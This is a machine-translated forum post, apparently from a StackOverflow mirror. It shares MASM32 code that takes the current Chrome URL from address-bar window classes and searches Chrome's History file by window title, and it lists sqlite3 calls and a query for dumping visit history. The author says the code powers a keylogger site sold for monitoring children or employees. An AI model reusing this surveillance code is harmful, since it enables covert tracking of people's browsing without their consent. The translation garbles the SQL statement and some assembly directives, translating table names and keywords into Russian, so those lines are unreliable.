Этого кода MASM32 используется для работы на более ранних версиях Chrome:
**EnumChildChrome** PROC hwndChild:DWORD,lParam:DWORD
LOCAL lpClassUrl[64] :BYTE
invoke RtlZeroMemory,addr lpClassUrl, 64
invoke GetClassName, hwndChild, addr lpClassUrl, 64
; Get URL from AddressBar class Chrome_AutocompleteEditView.
; Get URL from AddressBar class Chrome_OmniboxView.
; Get URL from AddressBar class Chrome_WidgetWin_1.
.IF (dword ptr [lpClassUrl+7]=='otuA') || (dword ptr [lpClassUrl+7]=='inmO') || (dword ptr [lpClassUrl+7]=='gdiW')
invoke RtlZeroMemory,wText, BUFSIZE
invoke SendMessage, hwndChild, WM_GETTEXT, BUFSIZE, wText
invoke WriteToMem,3,addr startURL,wText,addr endURL
.ENDIF
mov eax,hwndChild
ret
EnumChildChrome ENDP
Однако, чтобы захватить URL-адреса из самых последних версий хрома, я Здесь была написана эта взломанная версия. (Легко переносится на C, VB и т. Д.) ... В основном он использует заголовок закладки Chrome (WinText) в качестве ключа поиска в файле истории. Кроме того, Chrome, похоже, задерживает запись URL, поэтому это препятствие для преодоления. В настоящее время я делаю несколько проходов через историю, например, 5 секунд, а затем отменю, если ничего не найдено. . :(
...
googlePath db "%USERPROFILE%\Local Settings\Application Data\Google\Chrome\User Data\Default\History",0
GoogleChrome db " - Google Chrome",0
...
invoke HeapAlloc, hHeap, HEAP_ZERO_MEMORY, BUFSIZE
mov googleHistory,eax
invoke HeapAlloc, hHeap, HEAP_ZERO_MEMORY, MAXSIZE
mov WinText,eax
invoke HeapAlloc, hHeap, HEAP_ZERO_MEMORY, BUFSIZE
mov winTitle,eax
invoke HeapAlloc, hHeap, HEAP_ZERO_MEMORY, BUFSIZE
mov wwinTitle,eax
invoke HeapAlloc, hHeap, HEAP_ZERO_MEMORY, BUFSIZE
mov uwinTitle,eax
...
; --- Find Google History file path ---
invoke RtlZeroMemory,googleHistory,BUFSIZE
invoke ExpandEnvironmentStrings, addr googlePath, googleHistory, BUFSIZE
...
Chrome PROC
LOCAL found_url_ok :DWORD
mov found_url_ok,FALSE
invoke readdiskfile,googleHistory,addr lpMem,addr lpLen
.IF (eax==0)
ret
.ENDIF
invoke RtlZeroMemory,winTitle, BUFSIZE
invoke RtlZeroMemory,wwinTitle, BUFSIZE
invoke RtlZeroMemory,uwinTitle, BUFSIZE
;; Chrome History Titles are stored in UTF8 format. Example: Polítiques i principis -----> Pol,0C3h,0ADh,tiques i principis
invoke szRemove,WinText,winTitle,addr GoogleChrome
invoke CharToUTF8,winTitle,wwinTitle,uwinTitle
invoke lstrlen,uwinTitle
invoke BinSearch,0,lpMem,lpLen,uwinTitle,eax
; --- Search backwards looking for a begin url marker 01h ...
.IF (eax!=-1)
mov ecx,eax
add eax,lpMem
mov byte ptr[eax],0 ; end of url
find_url_start:
cmp byte ptr[eax-1],01h
je start_url
dec eax
loop find_url_start
jecxz no_url_found
start_url:
invoke WriteToMem,3,addr startURL,eax,addr endURL
mov found_url_ok,TRUE
no_url_found:
.ENDIF
invoke GlobalFree,lpMem
mov eax,found_url_ok
ret
Chrome ENDP
CharToUTF8 proc pAsciiString:DWORD,pWideOutbuf:DWORD,pUTF8Outbuf:DWORD
invoke lstrlen,pAsciiString
invoke MultiByteToWideChar,CP_ACP,0,pAsciiString,-1,pWideOutbuf,eax
invoke WideCharToMultiByte,CP_UTF8,0,pWideOutbuf,-1,pUTF8Outbuf,BUFSIZE,NULL,NULL
ret
CharToUTF8 endp
Я на самом деле не поклонник такого подхода, но это все, что я мог думать сегодня Некоторые другие идеи приходят на ум:
запросов к памяти процесса Chrome и извлечение URL-адреса может быть лучшим подходом.
Используя sqlite3 API, чтобы разобрать историю.
szSQLite3Lib DB "sqlite3.dll", 0h
szfnSQLite3_close дБ "sqlite3_close", 0h
szfnSQLite3_column_text DB "sqlite3_column_text", 0h
szfnSQLite3_exec DB "sqlite3_exec", 0h
szfnSQLite3_open DB "sqlite3_open_v2", 0h
szfnSQLite3_prepare дБ "sqlite3_prepare", 0h
szfnSQLite3_step db "sqlite3_step", 0h
szSQLStmt5 db "SELECT datetime (((посещения.visit_time/1000000) -11644473600),", 34, "unixepoch", 34, "), urls.url, urls.title FROM urls, посещения WHERE urls.id = visit.url; ", 0
Если вы найдете хороший метод, пожалуйста, разместите свои результаты здесь. Благодаря!
Код выше используется на моем Keylogging сайте:
MyKeylogger.com - Web monitoring software to monitor children or employees and watch it LIVE online!
Просьба уточнить вашу конкретную проблему или добавить дополнительные детали, чтобы выделить именно то, что вам нужно. Как это написано в настоящее время, трудно точно сказать, что вы просите. –